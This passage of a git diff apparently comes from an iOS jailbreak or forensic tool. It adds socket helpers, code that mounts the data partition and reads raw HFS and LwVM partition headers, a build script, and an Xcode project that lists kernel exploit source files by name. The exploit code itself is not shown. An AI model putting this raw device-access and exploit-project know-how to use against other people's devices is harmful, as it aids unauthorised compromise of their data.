sock_accept(int sock) { + int x = accept(sock, NULL, NULL); + return x; +} + + +int sock_send(int sock, unsigned char* data, unsigned int size) { + //hexdump(data, size); + int x = send(sock, data, size, 0); + return x; +} + +int sock_recv(int sock, unsigned char* data, unsigned int size) { + int x = recv(sock, data, size, 0); + //hexdump(data, x); + return x; +} \ No newline at end of file diff --git a/dump/dump/sock.h b/dump/dump/sock.h new file mode 100644 index 0000000..d637c44 --- /dev/null +++ b/dump/dump/sock.h @@ -0,0 +1,17 @@ +// +// sock.h +// dbltool +// +// Created by Joshua Hill on 2/15/13. +// +// + +#ifndef __dbltool__sock__ +#define __dbltool__sock__ + +int sock_listen(unsigned short portnum); +int sock_accept(int sock); +int sock_send(int sock, unsigned char* data, unsigned int size); +int sock_recv(int sock, unsigned char* data, unsigned int size); + +#endif /* defined(__dbltool__sock__) */ diff --git a/dump/dump/util.c b/dump/dump/util.c new file mode 100644 index 0000000..7c71c48 --- /dev/null +++ b/dump/dump/util.c @@ -0,0 +1,220 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include "util.h" + +char* hex2str(uint8_t* buf, unsigned int sz) { + int i = 0; + unsigned int strsz = sz*2; + char* str = malloc(strsz+1); + for(i = 0; i < sz; i++) sprintf(&str[i*2], "%02x", *(unsigned char*)&buf[i]); + str[strsz] = '\0'; + return str; +} + +uint8_t* str2hex(char* buf) { + int i = 0; + size_t size = 0; + unsigned int byte = 0; + size = strlen(buf) / 2; + uint8_t* data = malloc(size); + + for(i = 0; i < size; i++) { + sscanf(buf, "%02x", &byte); + data[i] = byte; + buf += 2; + } + return data; +} + +void printBytesToHex(const uint8_t* buffer, size_t bytes) +{ + while(bytes > 0) { + printf("%02x", *buffer); + buffer++; + bytes--; + } +} + +void printHexString(const char* description, const uint8_t* buffer, size_t bytes) +{ + printf("%s : ", description); + printBytesToHex(buffer, bytes); + printf("\n"); +} + +int write_file(const char* filename, uint8_t* data, size_t len) +{ + int fd = open(filename, O_CREAT | O_RDWR); + if (fd < 0) + return -1; + if (write(fd, data, len) != len) + return -1; + close(fd); + return 0; +} + +void writePlistToStdout(CFDictionaryRef out) +{ + CFDataRef d = CFPropertyListCreateData(kCFAllocatorDefault, out, kCFPropertyListXMLFormat_v1_0, 0, NULL); + if (d == NULL) + return; + write(1, CFDataGetBytePtr(d), CFDataGetLength(d)); +} + +int mountDataPartition(const char* mountpoint) +{ + char* diskname = "/dev/disk0s2s1"; + int err; + printf("Trying to mount data partition\n"); + err = mount("hfs","/mnt2", MNT_RDONLY | MNT_NOATIME | MNT_NODEV | MNT_LOCAL, &diskname); + if (!err) + return 0; + + diskname = "/dev/disk0s1s2"; + err = mount("hfs","/mnt2", MNT_RDONLY | MNT_NOATIME | MNT_NODEV | MNT_LOCAL, &diskname); + if (!err) + return 0; + diskname = "/dev/disk0s2"; + err = mount("hfs","/mnt2", MNT_RDONLY | MNT_NOATIME | MNT_NODEV | MNT_LOCAL, &diskname); + + return err; +} + + +int getHFSInfos(struct HFSInfos *infos) +{ + char buf[8192] = {0}; + struct HFSPlusVolumeHeader* header; + unsigned int i; + + int fd = open("/dev/rdisk0s2", O_RDONLY); + if (fd < 0 ) + fd = open("/dev/rdisk0s1s2", O_RDONLY); //ios5 lwvm + if (fd < 0 ) + return fd; + lseek(fd, 0, SEEK_SET); + + if (read(fd, buf, 8192) != 8192) + return -1; + close(fd); + + header = (struct HFSPlusVolumeHeader*) &buf[0x400]; + + uint32_t blockSize = CFSwapInt32BigToHost(header->blockSize); + + infos->volumeUUID = header->volumeUUID; + infos->blockSize = blockSize; + + if (blockSize != 0x1000 && blockSize != 0x2000) + { + fprintf(stderr, "getHFSInfos: Unknown block size %x\n", blockSize); + } + else + { + fd = open("/dev/rdisk0", O_RDONLY); + if (fd < 0 ) + return fd; + + if (read(fd, buf, 8192) != 8192) + return -1; + + if (!memcmp(buf, LwVMType, 16)) + { + LwVM* lwvm = (LwVM*) buf; + + if (lwvm->chunks[0] != 0xF000) + { + fprintf(stderr, "getHFSInfos: lwvm->chunks[0] != 0xF000\n"); + return -1; + } + + for(i=0; i < 0x400; i++) + { + if(lwvm->chunks[i] == 0x1000) //partition 1 block 0 + { + break; + } + } + uint32_t LwVM_rangeShiftValue = 32 - __builtin_clz((lwvm->mediaSize - 1) >> 10); + + infos->dataVolumeOffset = (i << LwVM_rangeShiftValue) / blockSize; + } + else + { + lseek(fd, 2*blockSize, SEEK_SET); + + if (read(fd, buf, 8192) != 8192) + return -1; + close(fd); + + infos->dataVolumeOffset = ((unsigned int*)buf)[0xA0/4]; + } + } + return 0; +} + +CFMutableStringRef CreateHexaCFString(uint8_t* buffer, size_t len) +{ + int i; + + CFMutableStringRef s = CFStringCreateMutable(kCFAllocatorDefault, len*2); + + for(i=0; i < len; i++) + { + CFStringAppendFormat(s, NULL, CFSTR("%02x"), buffer[i]); + } + return s; +} + +void addHexaString(CFMutableDictionaryRef out, CFStringRef key, uint8_t* buffer, size_t len) +{ + CFMutableStringRef s = CreateHexaCFString(buffer, len); + CFDictionaryAddValue(out, key, s); + CFRelease(s); +} + +void saveResults(CFStringRef filename, CFMutableDictionaryRef out) +{ + CFURLRef fileURL = CFURLCreateWithFileSystemPath( NULL, filename, kCFURLPOSIXPathStyle, FALSE); + CFWriteStreamRef stream = CFWriteStreamCreateWithFile( NULL, fileURL); + CFWriteStreamOpen(stream); + CFPropertyListWriteToStream(out, stream, kCFPropertyListXMLFormat_v1_0, NULL); + CFWriteStreamClose(stream); + + CFRelease(stream); + CFRelease(fileURL); +} + +int create_listening_socket(int port) +{ + struct sockaddr_in listen_addr; + int s, one = 1; + + memset(&listen_addr, 0, sizeof(struct sockaddr)); + listen_addr.sin_family = AF_INET; + listen_addr.sin_port = htons(port); + listen_addr.sin_addr.s_addr = INADDR_ANY; + + s = socket(AF_INET, SOCK_STREAM, 0); + + setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); + + if (bind(s, (struct sockaddr *)&listen_addr, sizeof(struct sockaddr)) < 0) + { + perror("bind"); + return -1; + } + listen(s, 10); + + return s; +} diff --git a/dump/dump/util.h b/dump/dump/util.h new file mode 100644 index 0000000..3b69117 --- /dev/null +++ b/dump/dump/util.h @@ -0,0 +1,85 @@ +#include + +struct HFSInfos { + uint64_t volumeUUID; + uint32_t blockSize; + uint32_t dataVolumeOffset; +}; + +struct HFSPlusVolumeHeader { + uint16_t signature; + uint16_t version; + uint32_t attributes; + uint32_t lastMountedVersion; + uint32_t journalInfoBlock; + + uint32_t createDate; + uint32_t modifyDate; + uint32_t backupDate; + uint32_t checkedDate; + + uint32_t fileCount; + uint32_t folderCount; + + uint32_t blockSize; + uint32_t totalBlocks; + uint32_t freeBlocks; + + uint32_t nextAllocation; + uint32_t rsrcClumpSize; + uint32_t dataClumpSize; + uint32_t nextCatalogID; + + uint32_t writeCount; + uint64_t encodingsBitmap; + + uint32_t finderInfo[6]; + uint64_t volumeUUID; + /* + HFSPlusForkData allocationFile; + HFSPlusForkData extentsFile; + HFSPlusForkData catalogFile; + HFSPlusForkData attributesFile; + HFSPlusForkData startupFile;*/ +} __attribute__((packed)); + +//https://github.com/iDroid-Project/openiBoot/blob/master/openiboot/includes/bdev.h +typedef struct _LwVMPartitionRecord { + uint64_t type[2]; + uint64_t guid[2]; + uint64_t begin; + uint64_t end; + uint64_t attribute; // 0 == unencrypted; 0x1000000000000 == encrypted + char partitionName[0x48]; +} __attribute__ ((packed)) LwVMPartitionRecord; + +typedef struct _LwVM { + uint64_t type[2]; + uint64_t guid[2]; + uint64_t mediaSize; + uint32_t numPartitions; + uint32_t crc32; + uint8_t unkn[464]; + LwVMPartitionRecord partitions[12]; + uint16_t chunks[1024]; // chunks[0] should be 0xF000 +} __attribute__ ((packed)) LwVM; + +static const char LwVMType[] = { 0x6A, 0x90, 0x88, 0xCF, 0x8A, 0xFD, 0x63, 0x0A, 0xE3, 0x51, 0xE2, 0x48, 0x87, 0xE0, 0xB9, 0x8B }; + +int getHFSInfos(struct HFSInfos *infos); + +CFMutableStringRef CreateHexaCFString(uint8_t* buffer, size_t len); + +void printBytesToHex(const uint8_t* buffer, size_t bytes); +void printHexString(const char* description, const uint8_t* buffer, size_t bytes); +int write_file(const char* filename, uint8_t* data, size_t len); + +void addHexaString(CFMutableDictionaryRef out, CFStringRef key, uint8_t* buffer, size_t len); +void saveResults(CFStringRef filename, CFMutableDictionaryRef out); +void writePlistToStdout(CFDictionaryRef out); + +int mountDataPartition(const char* mountpoint); + +int create_listening_socket(int port); +char* hex2str(uint8_t* buf, unsigned int sz); +uint8_t* str2hex(char* buf); diff --git a/konsole.sh b/konsole.sh new file mode 100644 index 0000000..f5f4aac --- /dev/null +++ b/konsole.sh @@ -0,0 +1,6 @@ +#!/bin/bash + +echo "Sudo Konsole!!!” + +cd konsole +xcodebuild \ No newline at end of file diff --git a/konsole/konsole.xcodeproj/project.pbxproj b/konsole/konsole.xcodeproj/project.pbxproj new file mode 100644 index 0000000..ea12225 --- /dev/null +++ b/konsole/konsole.xcodeproj/project.pbxproj @@ -0,0 +1,519 @@ +// !$*UTF8*$! +{ + archiveVersion = 1; + classes = { + }; + objectVersion = 46; + objects = { + +/* Begin PBXBuildFile section */ + 8A75E8F2197EEE6A0007FCA7 /* konsole.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E8F1197EEE6A0007FCA7 /* konsole.c */; }; + 8A75E901197EF08D0007FCA7 /* shell.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E900197EF08D0007FCA7 /* shell.c */; }; + 8A75E928197EF97E0007FCA7 /* avio.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E903197EF97E0007FCA7 /* avio.c */; }; + 8A75E929197EF97E0007FCA7 /* command.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E905197EF97E0007FCA7 /* command.c */; }; + 8A75E92A197EF97E0007FCA7 /* dangu.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E907197EF97E0007FCA7 /* dangu.c */; }; + 8A75E92B197EF97E0007FCA7 /* devtree.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E90A197EF97E0007FCA7 /* devtree.c */; }; + 8A75E92C197EF97E0007FCA7 /* earlyrandom.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E90C197EF97E0007FCA7 /* earlyrandom.c */; }; + 8A75E92D197EF97E0007FCA7 /* find.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E90E197EF97E0007FCA7 /* find.c */; }; + 8A75E92E197EF97E0007FCA7 /* kaslr.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E910197EF97E0007FCA7 /* kaslr.c */; }; + 8A75E92F197EF97E0007FCA7 /* kernel.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E912197EF97E0007FCA7 /* kernel.c */; }; + 8A75E930197EF97E0007FCA7 /* m1n0rthreat.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E914197EF97E0007FCA7 /* m1n0rthreat.c */; }; + 8A75E931197EF97E0007FCA7 /* macho.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E916197EF97E0007FCA7 /* macho.c */; }; + 8A75E933197EF97E0007FCA7 /* pmap.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E91A197EF97E0007FCA7 /* pmap.c */; }; + 8A75E934197EF97E0007FCA7 /* section.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E91C197EF97E0007FCA7 /* section.c */; }; + 8A75E935197EF97E0007FCA7 /* segment.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E91E197EF97E0007FCA7 /* segment.c */; }; + 8A75E936197EF97E0007FCA7 /* symbol.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E920197EF97E0007FCA7 /* symbol.c */; }; + 8A75E937197EF97E0007FCA7 /* symtab.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E922197EF97E0007FCA7 /* symtab.c */; }; + 8A75E938197EF97E0007FCA7 /* tfp0.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E924197EF97E0007FCA7 /* tfp0.c */; }; + 8A75E939197EF97E0007FCA7 /* vmmap.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E926197EF97E0007FCA7 /* vmmap.c */; }; + 8A75E94B197F00A80007FCA7 /* debug.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E94A197F00A80007FCA7 /* debug.c */; }; + 8A75E94D197F010B0007FCA7 /* CoreFoundation.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8A75E94C197F010B0007FCA7 /* CoreFoundation.framework */; }; + 8A75E94F197F01200007FCA7 /* IOKit.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8A75E94E197F01200007FCA7 /* IOKit.framework */; }; +/* End PBXBuildFile section */ + +/* Begin PBXFileReference section */ + 8A75E8E5197EEE6A0007FCA7 /* konsole */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.executable"; includeInIndex = 0; path = konsole; sourceTree = BUILT_PRODUCTS_DIR; }; + 8A75E8EA197EEE6A0007FCA7 /* control.txt */ = {isa = PBXFileReference; lastKnownFileType = text; name = control.txt; path = Package/DEBIAN/control.txt; sourceTree = ""; }; + 8A75E8EB197EEE6A0007FCA7 /* control */ = {isa = PBXFileReference; lastKnownFileType = text; name = control; path = Package/DEBIAN/control; sourceTree = ""; }; + 8A75E8ED197EEE6A0007FCA7 /* PackageVersion.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = PackageVersion.plist; sourceTree = ""; }; + 8A75E8F0197EEE6A0007FCA7 /* 0xdeadfa11 */ = {isa = PBXFileReference; lastKnownFileType = text; name = 0xdeadfa11; path = Package/usr/bin/0xdeadfa11; sourceTree = ""; }; + 8A75E8F1197EEE6A0007FCA7 /* konsole.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = konsole.c; sourceTree = ""; }; + 8A75E900197EF08D0007FCA7 /* shell.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = shell.c; sourceTree = ""; }; + 8A75E902197EF09C0007FCA7 /* shell.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = shell.h; sourceTree = ""; }; + 8A75E903197EF97E0007FCA7 /* avio.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = avio.c; path = ../../patch/patch/avio.c; sourceTree = ""; }; + 8A75E904197EF97E0007FCA7 /* avio.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = avio.h; path = ../../patch/patch/avio.h; sourceTree = ""; }; + 8A75E905197EF97E0007FCA7 /* command.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = command.c; path = ../../patch/patch/command.c; sourceTree = ""; }; + 8A75E906197EF97E0007FCA7 /* command.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = command.h; path = ../../patch/patch/command.h; sourceTree = ""; }; + 8A75E907197EF97E0007FCA7 /* dangu.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = dangu.c; path = ../../patch/patch/dangu.c; sourceTree = ""; }; + 8A75E908197EF97E0007FCA7 /* dangu.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = dangu.h; path = ../../patch/patch/dangu.h; sourceTree = ""; }; + 8A75E909197EF97E0007FCA7 /* debug.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = debug.h; path = ../../patch/patch/debug.h; sourceTree = ""; }; + 8A75E90A197EF97E0007FCA7 /* devtree.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = devtree.c; path = ../../patch/patch/devtree.c; sourceTree = ""; }; + 8A75E90B197EF97E0007FCA7 /* devtree.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = devtree.h; path = ../../patch/patch/devtree.h; sourceTree = ""; }; + 8A75E90C197EF97E0007FCA7 /* earlyrandom.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = earlyrandom.c; path = ../../patch/patch/earlyrandom.c; sourceTree = ""; }; + 8A75E90D197EF97E0007FCA7 /* earlyrandom.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = earlyrandom.h; path = ../../patch/patch/earlyrandom.h; sourceTree = ""; }; + 8A75E90E197EF97E0007FCA7 /* find.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = find.c; path = ../../patch/patch/find.c; sourceTree = ""; }; + 8A75E90F197EF97E0007FCA7 /* find.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = find.h; path = ../../patch/patch/find.h; sourceTree = ""; }; + 8A75E910197EF97E0007FCA7 /* kaslr.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = kaslr.c; path = ../../patch/patch/kaslr.c; sourceTree = ""; }; + 8A75E911197EF97E0007FCA7 /* kaslr.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = kaslr.h; path = ../../patch/patch/kaslr.h; sourceTree = ""; }; + 8A75E912197EF97E0007FCA7 /* kernel.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = kernel.c; path = ../../patch/patch/kernel.c; sourceTree = ""; }; + 8A75E913197EF97E0007FCA7 /* kernel.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = kernel.h; path = ../../patch/patch/kernel.h; sourceTree = ""; }; + 8A75E914197EF97E0007FCA7 /* m1n0rthreat.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = m1n0rthreat.c; path = ../../patch/patch/m1n0rthreat.c; sourceTree = ""; }; + 8A75E915197EF97E0007FCA7 /* m1n0rthreat.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = m1n0rthreat.h; path = ../../patch/patch/m1n0rthreat.h; sourceTree = ""; }; + 8A75E916197EF97E0007FCA7 /* macho.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = macho.c; path = ../../patch/patch/macho.c; sourceTree = ""; }; + 8A75E917197EF97E0007FCA7 /* macho.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = macho.h; path = ../../patch/patch/macho.h; sourceTree = ""; }; + 8A75E91A197EF97E0007FCA7 /* pmap.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = pmap.c; path = ../../patch/patch/pmap.c; sourceTree = ""; }; + 8A75E91B197EF97E0007FCA7 /* pmap.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = pmap.h; path = ../../patch/patch/pmap.h; sourceTree = ""; }; + 8A75E91C197EF97E0007FCA7 /* section.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = section.c; path = ../../patch/patch/section.c; sourceTree = ""; }; + 8A75E91D197EF97E0007FCA7 /* section.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = section.h; path = ../../patch/patch/section.h; sourceTree = ""; }; + 8A75E91E197EF97E0007FCA7 /* segment.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = segment.c; path = ../../patch/patch/segment.c; sourceTree = ""; }; + 8A75E91F197EF97E0007FCA7 /* segment.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = segment.h; path = ../../patch/patch/segment.h; sourceTree = ""; }; + 8A75E920197EF97E0007FCA7 /* symbol.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = symbol.c; path = ../../patch/patch/symbol.c; sourceTree = ""; }; + 8A75E921197EF97E0007FCA7 /* symbol.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = symbol.h; path = ../../patch/patch/symbol.h; sourceTree = ""; }; + 8A75E922197EF97E0007FCA7 /* symtab.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = symtab.c; path = ../../patch/patch/symtab.c; sourceTree = ""; }; + 8A75E923197EF97E0007FCA7 /* symtab.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = symtab.h; path = ../../patch/patch/symtab.h; sourceTree = ""; }; + 8A75E924197EF97E0007FCA7 /* tfp0.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = tfp0.c; path = ../../patch/patch/tfp0.c; sourceTree = ""; }; + 8A75E925197EF97E0007FCA7 /* tfp0.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = tfp0.h; path = ../../patch/patch/tfp0.h; sourceTree = ""; }; + 8A75E926197EF97E0007FCA7 /* vmmap.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = vmmap.c; path = ../../patch/patch/vmmap.c; sourceTree = ""; }; + 8A75E927197EF97E0007FCA7 /* vmmap.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = vmmap.h; path = ../../patch/patch/vmmap.h; sourceTree = ""; }; + 8A75E94A197F00A80007FCA7 /* debug.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = debug.c; sourceTree = ""; }; + 8A75E94C197F010B0007FCA7 /* CoreFoundation.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreFoundation.framework; path = System/Library/Frameworks/CoreFoundation.framework; sourceTree = SDKROOT; }; + 8A75E94E197F01200007FCA7 /* IOKit.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = IOKit.framework; path = System/Library/Frameworks/IOKit.framework; sourceTree = SDKROOT; }; +/* End PBXFileReference section */ + +/* Begin PBXFrameworksBuildPhase section */ + 8A75E8E2197EEE6A0007FCA7 /* Frameworks */ = { + isa = PBXFrameworksBuildPhase; + buildActionMask = 2147483647; + files = ( + 8A75E94F197F01200007FCA7 /* IOKit.framework in Frameworks */, + 8A75E94D197F010B0007FCA7 /* CoreFoundation.framework in Frameworks */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXFrameworksBuildPhase section */ + +/* Begin PBXGroup section */ + 8A75E8DC197EEE6A0007FCA7 = { + isa = PBXGroup; + children = ( + 8A75E94E197F01200007FCA7 /* IOKit.framework */, + 8A75E94C197F010B0007FCA7 /* CoreFoundation.framework */, + 8A75E8E7197EEE6A0007FCA7 /* konsole */, + 8A75E8E6197EEE6A0007FCA7 /* Products */, + ); + sourceTree = ""; + }; + 8A75E8E6197EEE6A0007FCA7 /* Products */ = { + isa = PBXGroup; + children = ( + 8A75E8E5197EEE6A0007FCA7 /* konsole */, + ); + name = Products; + sourceTree = ""; + }; + 8A75E8E7197EEE6A0007FCA7 /* konsole */ = { + isa = PBXGroup; + children = ( + 8A75E909197EF97E0007FCA7 /* debug.h */, + 8A75E94A197F00A80007FCA7 /* debug.c */, + 8A75E946197EFA4D0007FCA7 /* find */, + 8A75E93C197EF9A00007FCA7 /* macho */, + 8A75E93B197EF9950007FCA7 /* kaslr */, + 8A75E93A197EF98E0007FCA7 /* kernel */, + 8A75E8F1197EEE6A0007FCA7 /* konsole.c */, + 8A75E8E8197EEE6A0007FCA7 /* Package */, + 8A75E8EC197EEE6A0007FCA7 /* Supporting Files */, + ); + path = konsole; + sourceTree = ""; + }; + 8A75E8E8197EEE6A0007FCA7 /* Package */ = { + isa = PBXGroup; + children = ( + 8A75E8E9197EEE6A0007FCA7 /* DEBIAN */, + 8A75E8EE197EEE6A0007FCA7 /* usr */, + ); + name = Package; + sourceTree = ""; + }; + 8A75E8E9197EEE6A0007FCA7 /* DEBIAN */ = { + isa = PBXGroup; + children = ( + 8A75E8EA197EEE6A0007FCA7 /* control.txt */, + 8A75E8EB197EEE6A0007FCA7 /* control */, + ); + name = DEBIAN; + sourceTree = ""; + }; + 8A75E8EC197EEE6A0007FCA7 /* Supporting Files */ = { + isa = PBXGroup; + children = ( + 8A75E8ED197EEE6A0007FCA7 /* PackageVersion.plist */, + ); + name = "Supporting Files"; + sourceTree = ""; + }; + 8A75E8EE197EEE6A0007FCA7 /* usr */ = { + isa = PBXGroup; + children = ( + 8A75E8EF197EEE6A0007FCA7 /* bin */, + ); + name = usr; + sourceTree = ""; + }; + 8A75E8EF197EEE6A0007FCA7 /* bin */ = { + isa = PBXGroup; + children = ( + 8A75E8F0197EEE6A0007FCA7 /* 0xdeadfa11 */, + ); + name = bin; + sourceTree = ""; + }; + 8A75E93A197EF98E0007FCA7 /* kernel */ = { + isa = PBXGroup; + children = ( + 8A75E900197EF08D0007FCA7 /* shell.c */, + 8A75E902197EF09C0007FCA7 /* shell.h */, + 8A75E912197EF97E0007FCA7 /* kernel.c */, + 8A75E913197EF97E0007FCA7 /* kernel.h */, + 8A75E93D197EF9A60007FCA7 /* exploits */, + ); + name = kernel; + sourceTree = ""; + }; + 8A75E93B197EF9950007FCA7 /* kaslr */ = { + isa = PBXGroup; + children = ( + 8A75E910197EF97E0007FCA7 /* kaslr.c */, + 8A75E911197EF97E0007FCA7 /* kaslr.h */, + 8A75E93E197EF9AB0007FCA7 /* exploits */, + ); + name = kaslr; + sourceTree = ""; + }; + 8A75E93C197EF9A00007FCA7 /* macho */ = { + isa = PBXGroup; + children = ( + 8A75E905197EF97E0007FCA7 /* command.c */, + 8A75E906197EF97E0007FCA7 /* command.h */, + 8A75E916197EF97E0007FCA7 /* macho.c */, + 8A75E917197EF97E0007FCA7 /* macho.h */, + 8A75E91C197EF97E0007FCA7 /* section.c */, + 8A75E91D197EF97E0007FCA7 /* section.h */, + 8A75E91E197EF97E0007FCA7 /* segment.c */, + 8A75E91F197EF97E0007FCA7 /* segment.h */, + 8A75E920197EF97E0007FCA7 /* symbol.c */, + 8A75E921197EF97E0007FCA7 /* symbol.h */, + 8A75E922197EF97E0007FCA7 /* symtab.c */, + 8A75E923197EF97E0007FCA7 /* symtab.h */, + ); + name = macho; + sourceTree = ""; + }; + 8A75E93D197EF9A60007FCA7 /* exploits */ = { + isa = PBXGroup; + children = ( + 8A75E947197EFA830007FCA7 /* pmap */, + 8A75E945197EFA410007FCA7 /* tfp0 */, + 8A75E944197EFA270007FCA7 /* m1n0rthreat */, + 8A75E943197EFA210007FCA7 /* dangu */, + 8A75E942197EFA1D0007FCA7 /* avio */, + ); + name = exploits; + sourceTree = ""; + }; + 8A75E93E197EF9AB0007FCA7 /* exploits */ = { + isa = PBXGroup; + children = ( + 8A75E941197EF9F80007FCA7 /* earlyrandom */, + 8A75E940197EF9EF0007FCA7 /* vmmap */, + 8A75E93F197EF9E90007FCA7 /* devtree */, + ); + name = exploits; + sourceTree = ""; + }; + 8A75E93F197EF9E90007FCA7 /* devtree */ = { + isa = PBXGroup; + children = ( + 8A75E90A197EF97E0007FCA7 /* devtree.c */, + 8A75E90B197EF97E0007FCA7 /* devtree.h */, + ); + name = devtree; + sourceTree = ""; + }; + 8A75E940197EF9EF0007FCA7 /* vmmap */ = { + isa = PBXGroup; + children = ( + 8A75E926197EF97E0007FCA7 /* vmmap.c */, + 8A75E927197EF97E0007FCA7 /* vmmap.h */, + ); + name = vmmap; + sourceTree = ""; + }; + 8A75E941197EF9F80007FCA7 /* earlyrandom */ = { + isa = PBXGroup; + children = ( + 8A75E90C197EF97E0007FCA7 /* earlyrandom.c */, + 8A75E90D197EF97E0007FCA7 /* earlyrandom.h */, + ); + name = earlyrandom; + sourceTree = ""; + }; + 8A75E942197EFA1D0007FCA7 /* avio */ = { + isa = PBXGroup; + children = ( + 8A75E903197EF97E0007FCA7 /* avio.c */, + 8A75E904197EF97E0007FCA7 /* avio.h */, + ); + name = avio; + sourceTree = ""; + }; + 8A75E943197EFA210007FCA7 /* dangu */ = { + isa = PBXGroup; + children = ( + 8A75E907197EF97E0007FCA7 /* dangu.c */, + 8A75E908197EF97E0007FCA7 /* dangu.h */, + ); + name = dangu; + sourceTree = ""; + }; + 8A75E944197EFA270007FCA7 /* m1n0rthreat */ = { + isa = PBXGroup; + children = ( + 8A75E914197EF97E0007FCA7 /* m1n0rthreat.c */, + 8A75E915197EF97E0007FCA7 /* m1n0rthreat.h */, + ); + name = m1n0rthreat; + sourceTree = ""; + }; + 8A75E945197EFA410007FCA7 /* tfp0 */ = { + isa = PBXGroup; + children = ( + 8A75E924197EF97E0007FCA7 /* tfp0.c */, + 8A75E925197EF97E0007FCA7 /* tfp0.h */, + ); + name = tfp0; + sourceTree = ""; + }; + 8A75E946197EFA4D0007FCA7 /* find */ = { + isa = PBXGroup; + children = ( + 8A75E90E197EF97E0007FCA7 /* find.c */, + 8A75E90F197EF97E0007FCA7 /* find.h */, + ); + name = find; + sourceTree = ""; + }; + 8A75E947197EFA830007FCA7 /* pmap */ = { + isa = PBXGroup; + children = ( + 8A75E91A197EF97E0007FCA7 /* pmap.c */, + 8A75E91B197EF97E0007FCA7 /* pmap.h */, + ); + name = pmap; + sourceTree = ""; + }; +/* End PBXGroup section */ + +/* Begin PBXNativeTarget section */ + 8A75E8E4197EEE6A0007FCA7 /* konsole */ = { + isa = PBXNativeTarget; + 